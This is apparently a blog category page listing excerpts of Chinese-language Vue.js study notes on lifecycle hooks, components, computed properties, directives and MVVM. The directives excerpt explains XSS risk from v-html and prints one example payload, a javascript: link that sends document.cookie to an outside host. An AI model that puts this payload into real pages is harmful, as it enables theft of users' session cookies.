vue
文章平均质量分 53
灬violet灬
这个作者很懒,什么都没留下…
展开
-
05-vue学习-生命周期钩子函数
生命周期钩子函数组件从创建开始到被销毁结束所经历的各个阶段。如下图:引用vue官网create阶段beforeCreate在实例初始化之后,进行数据侦听和事件/侦听器的配置之前同步调用created在实例创建完成后被立即同步调用。在这一步中,实例已完成对选项的处理,意味着以下内容已被配置完毕:数据侦听、计算属性、方法、事件/侦听器的回调函数。然而,挂载阶段还没开始,且 $el property 目前尚不可用。mounte阶段beforeMount在挂载开始之前被调用:相关的 re原创 2021-11-15 21:59:18 · 834 阅读 · 1 评论 -
04-vue学习-组件
组件组件系统是Vue的一个重要概念,因为它是一种抽象,允许我们使用小型,独立和通常可复用的组件构建大型应用。1、全局组件// 注册一个全局组件MyHeaderVue.component('MyHeader',{ template:`<h1>标题内容</h1>`})// 调用组件<div id="app"> <myheader></myheader> //采用小写的注册组件 //若是驼峰命名 例如 MyHeader原创 2021-11-11 22:34:14 · 702 阅读 · 0 评论 -
03-vue的学习
1、Ref 获取dom元素<input ref="inputValue" />this.$refs.inputValuethis.$refs.inputValue.focus() // 获取元素dom,聚焦2、计算属性 computedcomputed:计算属性,通常是根据已有的数据,计算出新的数据例子:// 示例:computed: { // 计算属性,通常是根据已有的数据,计算出新数据 completedTodos() { // 计算已完成的待办事项原创 2021-11-09 21:55:01 · 98 阅读 · 0 评论 -
02-vue的学习-指令
vue中指令的学习1、模板语法文本 {{}}{{express}}//文本插值语法,在 {{ }} 标记内部写的是 JS 表达式的内容纯HTMLv-html ,防止XSS,CSRF( (1) 前端过滤 (2) 后台转义(< > < >) (3) 给cookie 加上属性 http ) <a href=javascript:location.href='http://www.baidu.com? cookie='+document.cookie>click&原创 2021-11-08 22:12:42 · 732 阅读 · 0 评论 -
01-vue的学习-初始
Vue一套用于构建用户界面的渐进式框架。与其它大型框架不同的是,Vue 被设计为可以自底向上逐层应用。1、MVVMM -Model:数据V -View :视图VM -ViewModel: 实现Model 与 View 的关联 ,当 Model 数据实现更新,能自动响应式渲染 View 视图,当试图中对界面进行操作时能够自动将操作响应到 Model 中实现数据更新。-- 双向数据绑定(Object.defineProperty() 数据劫持)几种MV*模式的区别“MVC”: model原创 2021-11-08 21:37:29 · 531 阅读 · 0 评论 -
2021-08-16
运用Echarts引入地图引入所需要创建的地图的数据(以四川为例)import "echarts/map/js/province/sichuan.js";import obj from "echarts/map/json/province/sichuan.json";获取数据created() { this.getData(); }, mounted () { this.DrawMap(); }method:{getData() { // 获取城市名称数据原创 2021-08-16 14:42:59 · 89 阅读 · 0 评论 -
vue指令
vue指令v-show 显示 动态的显示和隐藏v-if 条件渲染 动态的创建和删除v-else-if 条件渲染v-else 条件渲染v-bind 动态绑定 缩写: :v-on 绑定事件 缩写: @ .stop .prevent .enter .ctrlv-for 遍历循环 与:key一起用v-htmlv-textv-slot 插槽v-prev-oncev-cloakv-model 双向绑定数据 语法糖...原创 2021-05-24 20:47:16 · 122 阅读 · 1 评论 -
vue模板和MVVM
vuevue 模板语法 - 表达式{{10 + 20}}{{20 > 10 ? 'aaa' : 'bbb'}}vue修改数据的原理://通过Object.defineProperty这个方法进行get和set方法进行拦截的var obj = {}Object.defineProperty(obj, "myname",{ set(value){ console.log('有人修改了',value) }, get(){ console.log('有人访问了') }})原创 2021-05-24 20:19:58 · 77 阅读 · 0 评论